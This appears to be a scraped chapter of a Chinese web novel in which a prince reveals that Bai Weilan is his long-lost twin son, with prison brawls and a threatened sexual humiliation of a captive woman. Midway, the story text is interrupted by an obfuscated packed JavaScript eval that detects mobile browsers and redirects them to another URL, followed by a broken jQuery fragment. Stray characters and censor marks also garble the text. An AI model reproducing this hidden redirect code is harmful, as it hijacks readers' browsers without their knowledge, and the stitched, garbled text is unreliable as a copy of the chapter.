第 135 章 回府

作品:《寡夫郎他男人找来了

    第135章回府


    【“小澜,你真是本王的儿子。你和凛柏是双生子。”】


    奕王府没有女主人,整个府邸青石高墙,最多的还是傲然寒冬的松柏,处处透着苍然肃杀之气。


    而此时王府,张灯结彩,喜气连连。雁杉厅


    寒冬腊月中,王府里杂役忙碌,一个个手里端着娇养盛开的花卉。不仅有反季节开的芍药、杜鹃、牡丹,还有应季的石斛兰、寒兰、冬梅等等。


    大红灯笼大红绸,就连严肃凶猛的屋脊兽都给系上了红铃铛,显得凶中带着点喜乐。


    今天是顾凛柏无罪释放归府的日子。


    顾凛柏虽在狱中,但也知晓外界局势,只是一回到府里见这装饰还是有些吃惊。


    他父王一心扑在权势上,很少关注外物。


    管家行山叔跟父王的性子如出一辙,他也不喜欢花里胡哨的东西。


    自他有记忆起,王府就是教练场,一砖一瓦都充斥着凛冽的杀意与威严。


    父王对他的疼爱如巍峨大山沉默无声,很少流露出慈爱。他少时练年功累得精疲力尽倒头就睡,半夜都会察觉到父王给他按摩穴位拉松筋骨或者涂抹膏药。


    父王肯定不会为了他归府这般大张旗鼓的夸张。


    顾凛柏带着一番疑惑进了正厅。


    朱红雕花大门贴着喜字,坐在高位上的奕王看到儿子回来,抬眼朝他看去。


    顾凛柏弯腰问安后,才发现行山叔穿着一身喜服,他周围站着一个中年妇人。


    两人见他齐齐向他请安。


    那妇人一身华丽喜服,虽描眉点翠略施粉黛,衬的五官端正清秀;但她脸上岁月沧桑,眼褶子和下颚面部肌肉都有些下垂。


    妇人有些局促紧张又激动的望了过来,顾凛柏只是扫一眼就转头向行山道喜。


    奕王道,“凛柏,这是碧清姨,今天是你行山叔大喜的日子。”


    行山想给碧清一个盛大的婚事,但碧清说只想他们几人在场,便一切从简定了最近的吉日。


    顾凛柏还有些茫然,看着行山叔和父王都对那妇人很熟稔的样子,顾凛柏道他后面备厚礼恭贺。


    随后,这对年过百年的新人,对着高位上的奕王以及他身边的牌位行拜天地之礼。


    礼成后,碧清行山都激动的落泪不止,三人都颇有历经磨难终成眷属的动然感叹。


    奕王眼里更


    是有难得的艳羡和泪意。


    碧清心细,他看着顾凛柏虽然镇定但始终有些疑惑,但她也不知道如何开口。不过好在奕王解释了。


    顾凛柏听完来龙去脉后,面色震撼又浮现恨意,不等奕王叫他下跪磕头谢礼,他已经跪在了碧清面前。


    碧清惊慌失色连连扶起他,眼泪婆娑道,“小姐一直在念叨世子爷,如今我算是替小姐圆梦了。”


    顾凛柏紧紧锁着目光,但眼底仍然浮出一点湿意,他低头手握成拳。


    哑声道,“父王,我们一起接弟弟回来。”


    碧清听闻,笑中带泪,“小澜的性子,要是知道你们是双生子,他不会做弟弟的。”


    顾凛柏抬头眼里有些笑意和无语,“是,之前在遥山县的时候,他就一直莫名其妙争这个。”


    奕王眼里露出深深笑意和好奇,“你们关系已经处到这般好了?”


    顾凛柏回京没有提和白微澜私人相关的事情,父子两都很默契的没有过多谈论。


    白微澜的出身是他父王心底的刺痛。


    但爱屋及乌他又没办法坐视不管,只能背后默默关注。


    顾凛柏道,“他儿子倒是很喜欢我,他本人……在公事上还好,在私事上他比较排斥不熟悉的人。”


    碧清拿着巾帕擦拭眼角,“小澜自小被关在阁楼,只有逢年过节的时候,周家那边的表**拜年,他才能出来一起玩。”


    奕王面色沉沉,一种刀刃割手心的刺破灼痛蔓延心口,眼里无声翻涌着愤怒,“所有欺负小澜的,一个不留。”


    顾凛柏眼里也杀意毕露。


    他们是双生子,白微澜本应该也如他一样从小在父爱中长大,他本生来权贵,不应该在外面流浪遭受磨难。


    他们要接白微澜回家。


    当奕王和顾凛柏来到火房甬道的时候,门口有侍卫站岗。


    一狱卒见到奕王和顾凛柏前来,忙点头哈腰道,“王爷和世子爷也要探视白微澜吗?”


    奕王看了狱卒一眼,后者道,“不巧,刚刚周大人和宴大人才进去。”


    一片暗淡的甬道里,孱弱的豆火在黑暗中挣扎,火苗猛然跳跃,映亮了奕王幽深的眼底。


    奕王上前走去,那狱卒道,“王爷您万金之躯,还是别进去探视为好,里面关着疯狗,进去的人没一个好好的出来。”


    那狱卒说着脸色还有些愤恨和惧意,然而还不忘向奕王讨好卖乖。


    潮湿冷意的甬道里只听奕王道,“掌嘴二十,罚跪两个时辰。


    狱卒霎时脸色苍白,不知道自己哪里惹怒了奕王,而后噗通跪在地上开始啪啪掌嘴。


    奕王两人走近火房,只见门关着,里面正在谈话。


    换做一般侍卫听不见里面动静,但两人耳力敏锐,里面动静听的一清二楚。


    只听周扶明威胁道,“白微澜,你是无罪释放,但现在满朝文武你得罪大半,你就是这天下的敌人,你还能带着你夫郎逃哪里去?


    另一个声音接着响起,只听道,“宴儿,跟着白微澜一个落魄穷小子危机四伏下场难以想象啊,以前是我对不起你娘俩,今后我保证一定会对你好的。请你们给我一个赎罪的机会。


    白微澜道:“滚吧,一个个假仁假义假惺惺,两个靠着女人上位的孬种也配在我面前威胁。


    他说到这里心火中烧,忽然凑近一把揪住周扶明的衣领,看着后者难以喘气的惊慌望着自己,白微澜狠狠用力捏着他脖子道,


    “你自己**军饷,结果把我娘推火坑,你们周家现在的一切都是建在我娘血骨上!你现在还有脸来威胁她儿子,老子看你是不见棺材不掉泪。


    周扶明被捏住脖子,脸色逐渐红涨惊恐,嘴里呐呐挣扎着疯子疯子。


    宴德席刚怒喊殴打朝廷命官,宴绯雪早已绕到他背后,只见脖子一点寒凉,宴德席瞬间目光紧缩侧头,眼前寒刃闪烁。


    宴德席道,“宴儿,我都是为你好啊,白微澜现在像个疯子,你跟着他难道亡命天涯吗?你容貌出色,京城早已有不少公子少爷向我打听你,爹保证你今后荣华富贵衣食无忧。


    回答他的是蚀骨热流溢出,瞬间脖子寒毛颤栗。宴德席看向好整以暇微笑的宴绯雪,惊惧道,“你娘性子温柔似水,你怎么是个恶种。


    “我看你们今天也出不去了,自找死路!


    “砰!


    火房的门扇轰然震碎,屋内的四人齐齐朝门口看去,只见顾凛柏又抬腿重重一脚踢向摇摇欲坠的门扇。


    尘屑四起,屋子里只坍塌后的死寂。


    周扶明和宴德席看到奕王两人前来,像是得救似的松了口气。


    下一刻,他们也得到了喘气的瞬间,只是将将松懈的瞳孔骤然映来更重更坚硬的拳头。


    来势汹涌突然,白微澜两人一愣,看着鼻血飞泄的两人,宴绯雪还想偷袭补几脚


    不过被白微澜拉着后退了些。


    不一会儿后地上就躺着奄奄一息的两人。


    白微澜摇头道“一点都不抗揍。”


    奕王掏出巾帕擦了擦拳头上的血迹而后看向白微澜有一瞬的失神怔愣。


    白微澜两人见奕王看向他们躬身向奕王请安。


    “多谢奕王出手相助。”


    奕王紧绷微张的唇角即将蹦出话语结果被这一遭话头堵回了嗓子里。


    他默了一瞬转头又狠狠踢周扶明。


    奕王踢完就大步出了火房。


    白微澜两人相视眼里都有些揣测不知道奕王亲自前来有什么用意。


    顾凛柏拳头砸人砸的发热血气逆涌此时收了动作周身还有些怒意残留;他绷着拳头面色努力挤出一抹笑意转头看向两人道“咱们回家。”


    白微澜拉着宴绯雪的手只觉得有些莫名其妙的恍恍惚惚。


    出火房的甬道很长壁罩里的灯火幽幽静静作壁上观似的看着这里的悲欢离合岁月变迁。


    四人各怀心事一路无话。


    出了刑部大牢时难得冬日暖阳。


    柔柔的日光落在眼睑上闪着晶莹宴绯雪有些不习惯日头下意识半眯着眼。


    白微澜见状抬掌用手给宴绯雪遮光。


    宴绯雪看了他一眼示意在奕王面前还是收敛一些但白微澜毫不在意。


    而奕王和顾凛柏一出来扫了两边树丛里里面不知道藏了多少死士。


    顾凛柏一个哨声刚起就听见树林里起了刀剑厮杀声。


    白微澜两人倒是没惊讶不过没一会儿从树林里出来了的苏刈倒是让人愣了会儿。


    白微澜笑道“刈哥多谢了。”


    苏刈道“你们没事就好。”


    白微澜拍了拍苏刈肩膀而后对奕王道


    奕王朝白微澜看了眼嘴角紧抿似有些话想说出口但只细微抖了下嘴皮最后面容僵硬的沉默了。


    似乎又觉得沉默不好有些滞涩的开口道“应该的。”


    顾凛柏看着父王又看着白微澜两人茫然探究的神色出声道“回去再说。”


    回去的马车上白微澜对宴绯雪道“媳妇儿你觉不觉得奕王对我的态度有些僵硬的怪异。”


    宴绯雪点头“是有一种很矛盾的感觉像是火山暗涌最终只艰难喷出一点热泉。”


    白微澜哎了声仰头靠


    在暖壁厢的**垫上,余光只见宴绯雪垂眸静思,细碎的日光盈盈落落洒在他秀挺的鼻尖上,他盯宴绯雪一眼,缓缓凑近。


    宴绯雪抬眼含笑,抬手撇过白微澜的脸,“注意点。”


    “哦。”


    白微澜得不到亲热,心痒的不行,整个人都赖在宴绯雪的肩头上,双手揽着宴绯雪腰身,不让他动。


    宴绯雪垂着琉璃浅淡的眸子,神思认真又有些疑惑,“澜哥,你有没有可能,是奕王的儿子?”


    宴绯雪看到奕王的第一眼,就察觉到奕王和白微澜眉眼有三分相,外加上奕王还亲自前来迎接出狱。


    而且,他没错过奕王看向白微澜第一眼暗藏的激动兴奋和紧张,以及随后的片刻失神。


    白微澜笑道,“要是就好了,我有时候都嫉妒顾凛柏,明明都是一个娘生的,为什么我就是那糟老头子的儿子,顾凛柏就是奕王的。”


    “奕王对我态度尴尬,可能是因为不待见我吧,然后又惦记着我娘爱屋及乌,但看到我就想到令人恶心厌恶的白家。”


    要不是现在京城危机四伏,只有住进王府才能确保宴绯雪的安全,不然白微澜才不会出现在奕王面前。


    白微澜这样想着有些闷闷不乐,垂头丧气的把下颚搭在宴绯雪的肩头上。


    像是守着宝贝似的圈抱着宴绯雪,感觉自己一身脏兮兮又配不上这么好的宝贝。


    又怕守不住宝贝,只能一脸灰扑扑的叼着宝贝去找一个靠山。


    宴绯雪察觉到白微澜的郁闷,侧头捧着白微澜的脸颊亲了口,“澜哥最好了,超级厉害。”


    “你思虑周全深谋远虑,每一步都找好退路,这京城的龙潭虎穴你还能够带着我全身而退。”


    “况且,咱们也不是寄人篱下,我们是奕王的粮草后方,资助了七十万两银子。试问,我们是不是奕王的贵客?”


    车轱辘哐当哐当,天光在车厢内晃啊晃,柔暖的冬阳想要挤进白微澜的黑眸,但他眼底全是宴绯雪温柔又崇拜的笑意。


    宴绯雪眼里亮晶晶的。


    白微澜仰头亲了亲他眉心,额头蹭着额头低声道,“晏晏……”


    他说着,怕言语轻慢了情谊,又握着宴绯雪的手心贴在自己砰砰跳动又火热的胸口上。


    宴绯雪静静望着白微澜,手心下有一颗心脏在为他跳动。


    炙热、热烈、纯粹。


    宴绯雪渐渐面露痴迷,双手挽上白微澜的脖子


    ,仰头朝那薄唇贴去。


    两人好久没亲热了,呼吸稍稍凑近就灼热纠缠,相贴的胸口里心脏同步欢动,热烈庆祝着久违的甘露与芳泽。


    “砰!”


    白微澜刚闭眼吻上宴绯雪,就听见马车底下响起一声巨响。


    白微澜瞬间警惕的抱着宴绯雪,然后掀开了厚重的车帘,只见小六灰头土脸的从马车底下钻了出来。


    小六脸色慌张还红扑扑的,从地上趴起来立马对白微澜道,“是我主子吩咐我钻车底,你要骂就骂他吧。”


    白微澜没好气道,“没用的东西。”


    小六瞪眼,宴绯雪满脸笑意看向窗外小六,调侃道,“小六,听墙角也是一门学问。”


    小六红了脖子,但立直身板严肃道,“是,夫人我一定勤加练习。”


    不待白微澜睨小六,小六就厌弃似的略略,跑后面马车上去了。


    后面马车上坐的是奕王和顾凛柏。


    小六自然要将白微澜两人的交谈汇报。


    马车到王府时,只见门口行山和碧清正在翘首以盼着。


    他们二人一看到白微澜下车就泪意连连,白微澜长的三分像奕王七分像周相宜。


    但细看白微澜,他侧脸线条和年轻时的奕王如出一辙,五官俊美又透着利刃的爽落。


    碧清一看到白微澜就忍不住朝他招手,但白微澜没看到,他在伸手扶着夫郎下马车。


    身姿轻盈舒展如莲茎又带着扎人的利刺,抬眸一笑如清风朗月,果真出尘脱俗的大美人。


    碧清看得连连满意点头,小姐在天之灵一定会喜欢这个儿媳的。


    白微澜看着媳妇儿一下车就端起来,心里被勾的痒痒,只借着相接的长袖细细摩挲着他手指。


    自认为遮掩的很好,但目光灼灼一脸藏不住的爱意盯得宴绯雪耳热。


    “咳咳。”宴绯雪捏拳轻抵唇间轻声提醒道。


    白微澜立马紧张道,“不舒服吗?”


    这时后面的顾凛柏和奕王也走上来,连接问宴绯雪是不是不舒服。


    白微澜还凑的格外近格外担忧,引得奕王两人齐齐看向他。


    真是傻狗。


    宴绯雪摇头,余光中只见王府门口下来两人。


    “小澜~”


    白微澜扭头看去,看到碧清激动的神色还茫然了片刻,但他很快眼里浮现惊喜喊道,“碧清姨。”


    当时白微澜被接回周府,碧清也想跟过去,但周府不要她。后面白微


    澜长大后开始找碧清的下落也毫无踪迹。


    此时再看到碧清自然十分惊讶和欣喜。


    宴绯雪看着两人叙旧寒暄而后面的奕王也似乎和碧清很熟稔宴绯雪脑子里浮现一些疑问。


    他们进府中后碧清带他们洗漱整顿一番。


    给他们住的院子是正院旁的北苑而南苑住的顾凛柏正院住的奕王。


    整个王府透着青苍遒劲的板正严肃而这北苑显然是新收拾


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664192|172670||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出来的。


    大冬天的里面花卉团簇还有几株刚刚移栽过来的红梅。那挂满树的花蕾开春稍热起来便能看见灼灼芳华。


    房间的陈设一桌一椅都符合白微澜两人的喜好。


    宴绯雪心想奕王对白微澜也太好了吧。


    所以当奕王简要说出往事的时候宴绯雪倒是没有很惊讶反而白微澜愣住了。


    奕王面色不显激动但语气有些颤抖他面色像常年冰封此时心底情绪翻涌但面上只能透出一点热意。


    “小澜你真是本王的儿子。你和凛柏是双生子。”


    低沉又激动的话一落音安静的屋子里只各人激动期盼的神色。


    白微澜看向宴绯雪又看向目光紧紧盯着他的顾凛柏最后看向奕王他泪意湿衫但仍旧面色如巍巍青山泰然不动。


    白微澜不知道做什么反应。


    很平静。


    平静到脑子是空的也觉得无所谓只下意识抓住宴绯雪的手。


    但屋子人都看向他等着他给反应等着他的期待于是白微澜道“我很高兴。”


    闻言奕王眼里心底的热意变成了酸楚和心疼。


    白微澜的眼里没有一丝激动和兴奋平静如水又深不可测。


    只听他道“我确实很高兴啊我不是那恶心白家的种。”


    “晏晏今后便是奕王的儿媳妇儿谁也别想抢我媳妇儿了。”


    即使顾凛柏事先预料到白微澜的反应


    “今后父王会保护你们你们过去遭受的一切父王都会给你们讨回来。”


    白微澜道“行。”


    话头就这样僵住了。


    行山和碧清都有些着急但白微澜的性子本就是急不来的要慢慢相处。


    碧清又忍不住流泪好像这几十年封住的眼泪全都在这些天爆发。多年的心酸**和不甘最终守得云开见月明得偿所愿。


    所有复杂的情绪全化成奔涌的热意直直夺眶而出庆祝多年的夙愿此刻达成。


    “好好好你们一家人团圆碧清这辈子没有遗憾了小姐在天之灵也可以安息了。”


    她说完竟忍不住呜呜哽咽。


    一提到周相宜白微澜平静的心头猛然触动。


    像是触动阀门开关心底瞬间卷起酸涩涟漪幼时和娘亲相处的场景历历翻卷铺开逐渐模糊了他的视线。


    他一低头一滴滚烫的泪珠砸在手背上。


    泪水冲刷掉灰霾阴暗掩埋在尘埃里的幼时记忆又重新焕然一新。


    难怪她娘亲发癔症时知道自己受欺负后会悄悄给他说叫他别怕他父亲是很了不起的人会把这些坏人通通打跑。


    还说要是自己一个人在阁楼害怕就想着哥哥和父亲娘亲都在陪他就好了。


    原来他娘说的都是真的。


    他娘这辈子所遭受的一切他都要对方百倍偿还!


    白微澜抬手抹掉眼泪他深吸一口气抬头见奕王和顾凛柏都热泪涌眶忽的好像三个陌生的个体突然找到了连接点。


    他们的泪因为几十年前的同一个人同一件事而流他们不像白家和周家的血脉至亲之间只剩算计凉薄。


    他们的眼里和心口都是炙热期盼的。


    他们虽然身居高位是权势滔天的亲王但此时俨然只是一个失而复得至亲血脉的父亲。


    奕王见白微澜情绪态度转变他眼底藏着泪意闪烁喜悦的亮光开口有些哑涩的哽咽“小澜这些年你辛苦了。”


    白微澜看他默了会儿出声道“凭什么叫他凛柏叫我小澜。”


    “我们是双生子碧清姨都说当时混乱忘记了谁前谁后。”


    白微澜这话一出几人都泪中带笑。


    此时门外有侍卫通报说是文渊侯府有动静。


    文渊侯府的柴房外几个杂役正守在门外。


    那几人贼眉鼠眼一脸油腻满嘴荤话时不时朝门缝看一眼眼里的下流毫不遮掩。


    “可惜了


    “可不是听说花娘的客人都是达官贵人寻常富商一掷千金也只能听她弹弹小曲儿。”


    “徐娘半老风韵犹盛不知道等会便宜那老乞丐后有没有咱们哥几个的份。”雁擅艇


    赵书蕴答应花娘要求后花娘却拒绝


    交出密信证据。


    花娘身上被折磨了各种刑罚,她还是嘴硬不肯说,最后有人出了这个羞辱她的法子。


    不一会儿,就见一个衣衫褴褛,一身臭味的蓬头垢面老乞丐欢天喜地的走来了。


    他推开柴门的手忍不住激动抽风,一旁杂役还鄙夷没见过女人会不会马上风。


    但那老乞丐像是没听到的,眉眼激动闪着报复的光亮。


    门被推开又被关上。


    只见杂草堆里花娘也是蓬头垢面,看到人后没有什么反应。


    只要是男人,乞丐与权贵对她来说没什么区别。


    他们本质都一样恶臭令人作呕,只是权贵的皮表糊了一层光鲜亮丽的华服,掩盖了烂到骨子里的腐肉。


    但那老乞丐很是激动,几乎是抖着手揪着花娘的头发,让她仰头看着他。


    四目相对,花娘还是没什么反应。


    那老乞丐狠毒道,“花娘,你仔细瞅瞅我是谁?


    “又丑又臭的老男人。


    老乞丐呸了声,朝花娘脸上吐唾沫。


    “睁大你眼睛看看,我是谁!


    “十几年前你把我双腿打瘸、把我打成了驼背丢乱葬岗,没想到我又活着回来了吧!


    “我回来索命了!


    “果真是天道好轮回。


    那老乞丐说着,就双手掐着花娘的脖子,花娘也认出了这人是谁。


    她原本奄奄一息,此时像是绝境中爆发最后一点生机似的,一口咬住老乞丐干枯皮的手腕。


    老乞丐见花娘还有力气,又开始抽出身上带着的碎瓷片,朝花娘的脸划去。


    轰的一声,门被打开了。


    只见两个杂役打扮的男人,夺门而入握住了那瓷片,瓷片只差分毫就划破脸了。


    花娘大风大浪见识多了,死都没怕也没什么好惊讶。


    那杂役道,“我们是奉命救你出去。


    花娘看了那杂役一眼,“把这老乞丐带上。


    两个杂役把花娘和晕死的老乞丐装入水桶里,盖上盖子悄悄走侯府后门溜走了。


    他们其实并不是悄无声息,起码赵书蕴身边的老嬷嬷就躲在假山后看到了。


    而一山之隔便是护院奴仆,但那老嬷嬷只静静看着花娘被抬走,没有出声喊人。


    “这是哪儿?


    花娘从木桶里钻出来,发现她被送到了浴房。


    一丫鬟恭敬道,“回姑娘的话,奕王府。


    花娘一听先是冷笑,她还算什么姑娘。再一听奕王府,倒是有些惊讶。


    她和奕王府完全没有交际,听闻奕王这人很难打交道,狡猾又狠毒。


    不过既来之则安之。


    花娘洗漱完后,穿着干净暖和的袄子,连月冻伤到麻木的膝盖,此时终于有些刺骨疼痛的知觉。


    她跟着丫鬟穿过游廊回院,来到外院大厅,大厅的青石砖上躺着昏迷的老乞丐。


    “姑娘稍等,主子们这就过来。


    花娘只等一会儿,就听见廊外脚步声走来。


    她抬头望去,看到宴绯雪的刹那顿时心神大振,一直生死淡然的冰霜脸露出一丝惊喜和松懈。


    她下意识抚顺自己零散的头发,甚至感激刚刚的洗漱,让自己体面的见到宴绯雪。


    但宴绯雪的目光只是在她身上一扫而过,转而死死盯着地上的乞丐。


    这就是欺负宴绯雪幼时的龟奴。